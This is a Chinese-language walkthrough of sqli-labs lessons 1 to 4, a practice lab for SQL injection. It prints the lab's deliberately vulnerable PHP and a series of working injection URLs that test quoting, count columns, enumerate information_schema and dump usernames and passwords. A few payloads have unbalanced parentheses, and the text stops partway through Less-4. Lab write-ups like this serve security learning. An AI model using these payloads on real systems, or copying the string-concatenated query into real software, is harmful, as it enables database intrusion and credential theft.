sqli-Labs靶场笔记

点击打开链接

http://blog.csdn.net/u012763794/article/details/51207833

http://blog.csdn.net/u012763794/article/details/51361152

http://blog.csdn.net/u012763794/article/details/51457142

Less-1 基于错误的 - get 单引号 - 字符型注入


先打开网页查看 Welcome Dhakkan



②查看源代码 index.php :
[php]  view plain  copy
  1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. "http://www.w3.org/1999/xhtml">  
  3.   
  4. "Content-Type" content="text/html; charset=utf-8" />  
  5. Less-1 **Error Based- String**  
  6.   
  7.   
  8. "#000000">  
  9. " margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
      
  10. "3" color="#FFFF00">  
  11.   
  12.   
  13. //including the Mysql connect parameters.  
  14. include("../sql-connections/sql-connect.php");  
  15. error_reporting(0);  
  16. // take the variables   
  17. if(isset($_GET['id']))  
  18. {  
  19. $id=$_GET['id'];  
  20. //logging the connection parameters to a file for analysis.  
  21. $fp=fopen('result.txt','a');  
  22. fwrite($fp,'ID:'.$id."\n");  
  23. fclose($fp);  
  24.   
  25. // connectivity   
  26.   
  27.   
  28. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  29. $result=mysql_query($sql);  
  30. $row = mysql_fetch_array($result);  
  31.   
  32.     if($row)  
  33.     {  
  34.     echo "";  
  35.     echo 'Your Login name:'$row['username'];  
  36.     echo "
    "
    ;  
  37.     echo 'Your Password:' .$row['password'];  
  38.     echo "";  
  39.     }  
  40.     else   
  41.     {  
  42.     echo '';  
  43.     print_r(mysql_error());  
  44.     echo "";    
  45.     }  
  46. }  
  47.     else { echo "Please input the ID as parameter with numeric value";}  
  48.   
  49. ?>  
  50.  



  
  • "../images/Less-1.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1  


    看来我们得到了 登录名:Dumb,以及密码:Dumb,那么为什么会显示出来呢?我们来看下index.php中的代码:
    [php]  view plain  copy
    1. if(isset($_GET['id']))                  //判断id的值时候有被设置  
    2. {  
    3. $id=$_GET['id'];                    //取出id值  
    4. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //构建sql语句,漏洞所在  
    5. .....  
    6. .....  
    7. $result=mysql_query($sql);              //然后查询,并返回结果  
    8. $row = mysql_fetch_array($result);  
    9. if($row)  
    10. {  
    11.     echo "";  
    12.     echo 'Your Login name:'$row['username'];  
    13.     echo "
      "
      ;  
    14.     echo 'Your Password:' .$row['password'];  
    15.     echo "";  
    16.     }  
    17.     else   
    18.     {  
    19.     echo '';  
    20.     print_r(mysql_error());  
    21.     echo "";    
    22.     }  
    23. }  
    24.     else { echo "Please input the ID as parameter with numeric value";}  
    25.   
    26. ?>  


    这样一来就明白了为什么会有这样的结果,当然如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='1' LIMIT 0,1;  

    注意:这里的$id是被单引号包起来的,我可以可以通过 ' 来验证,输入URL:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1'  




    以下还有两个注入可以成功执行:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1  
    2. http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+  

    对应的mysql执行语句:
    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1  
    2. SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1  

    接下来我们利用 order by 来判断users表中有几列,输入如下:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23  



    注意:%23 是指 # 的编码
    提示的信息可以使我们确定没有第4列,接下来使用联合语句 union 来查询,输入:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23  



    注意:细心的朋友可能发现我把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。

    解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。

    可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:

    concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
    char():将十进制ASCII码转化成字符
    user():返回当前数据库连接使用的用户
    database():返回当前数据库连接使用的数据库
    version():返回当前数据库的版本


    构建如下Sql语句:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23  

    注意:这里的32表示 [空格],58表示 [:] ,执行



    知道数据库名了,接下来就是拆解表了。

    首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表


    SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

    TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

    COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。


    注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。

    security的十六进制转换是:0x7365637572697479

    16进制转换地址:http://www.bejson.com/convert/ox2str/


    那么,接下来。构建 Sql 语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23  


    只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23  

    \

    不断的改变,limit的第一个参数,就可以一次列举出来,不过太麻烦了,我们直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,那么构建 sql 语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+  



    Less-2 基于错误的 - get - 数字型

    先打开网页查看 Welcome Dhakkan


    ②查看源代码 index.php :
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-2 **Error Based- Intiger**  
    6.   
    7.   
    8. "#000000">  
    9.   
    10.   
    11.   
    12.   
    13. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    14. "3" color="#FFFF00">  
    15.   
    16.   
    17. //including the Mysql connect parameters.  
    18. include("../sql-connections/sql-connect.php");  
    19. error_reporting(0);  
    20. // take the variables  
    21. if(isset($_GET['id']))  
    22. {  
    23. $id=$_GET['id'];  
    24. //logging the connection parameters to a file for analysis.  
    25. $fp=fopen('result.txt','a');  
    26. fwrite($fp,'ID:'.$id."\n");  
    27. fclose($fp);  
    28.   
    29.   
    30. // connectivity   
    31. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
    32. $result=mysql_query($sql);  
    33. $row = mysql_fetch_array($result);  
    34.   
    35.     if($row)  
    36.     {  
    37.     echo "";  
    38.     echo 'Your Login name:'$row['username'];  
    39.     echo "
      "
      ;  
    40.     echo 'Your Password:' .$row['password'];  
    41.     echo "";  
    42.     }  
    43.     else   
    44.     {  
    45.     echo '';  
    46.     print_r(mysql_error());  
    47.     echo "";    
    48.     }  
    49. }  
    50.     else  
    51.         {     
    52.         echo "Please input the ID as parameter with numeric value";  
    53.         }  
    54.   
    55. ?>  
    56.   
    57.   
    58.  



      
  • "../images/Less-2.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value   

    按它说的做,那我们就在URL后面输入:

    这样我们就得到了用户名和密码,在 index.php 中唯一的区别就是 $id 没有用单引号包住了,这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了,没什么好说的,构建sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  



    Less-3基于错误的 - GET单引号变形字符型注入

    先打开网页查看 Welcome Dhakkan


    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-3 Error Based- String (with Twist)   
    6.   
    7.   
    8.   
    9. "#000000">  
    10.   
    11. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    12. "3" color="#FFFF00">  
    13.   
    14.   
    15. //including the Mysql connect parameters.  
    16. include("../sql-connections/sql-connect.php");  
    17. error_reporting(0);  
    18. // take the variables  
    19. if(isset($_GET['id']))  
    20. {  
    21. $id=$_GET['id'];  
    22. //logging the connection parameters to a file for analysis.  
    23. $fp=fopen('result.txt','a');  
    24. fwrite($fp,'ID:'.$id."\n");  
    25. fclose($fp);  
    26.   
    27. // connectivity   
    28.   
    29.   
    30. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
    31. $result=mysql_query($sql);  
    32. $row = mysql_fetch_array($result);  
    33.   
    34.     if($row)  
    35.     {  
    36.     echo "";  
    37.     echo 'Your Login name:'$row['username'];  
    38.     echo "
      "
      ;  
    39.     echo 'Your Password:' .$row['password'];  
    40.     echo "";  
    41.     }  
    42.     else   
    43.     {  
    44.     echo '';  
    45.     print_r(mysql_error());  
    46.     echo "";    
    47.     }  
    48. }  
    49.     else { echo "Please input the ID as parameter with numeric value";}  
    50.   
    51. ?>  
    52.   
    53.   
    54.  



      
  • "../images/Less-3.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:


    一样的画面,可以发现在 index.php 中的 $id 改成了 ('$id') 了,当然,也很容易验证:

    首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1,')是多出来的,因此可以确认这是单引号注入的变形。输入如下sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-3/?id=1')--+  


    正常显示了吧,基本上就没什么区别了,构建的sql语句如下:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  


    Less-4基于错误的GET双引号字符型注入

    先打开网页查看 Welcome Dhakkan

    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-4 Error Based- DoubleQuotes String  
    6.   
    7.   
    8. "#000000">  
    9. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    10. "3" color="#FFFF00">  
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15. error_reporting(0);  
    16. // take the variables  
    17. if(isset($_GET['id']))  
    18. {  
    19. $id=$_GET['id'];  
    20. //logging the connection parameters to a file for analysis.  
    21. $fp=fopen('result.txt','a');  
    22. fwrite($fp,'ID:'.$id."\n");  
    23. fclose($fp);  
    24.   
    25. // connectivity   
    26.   
    27. $id = '"' . $id . '"';  
    28. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";  

    你可能感兴趣的:(sqli-labs)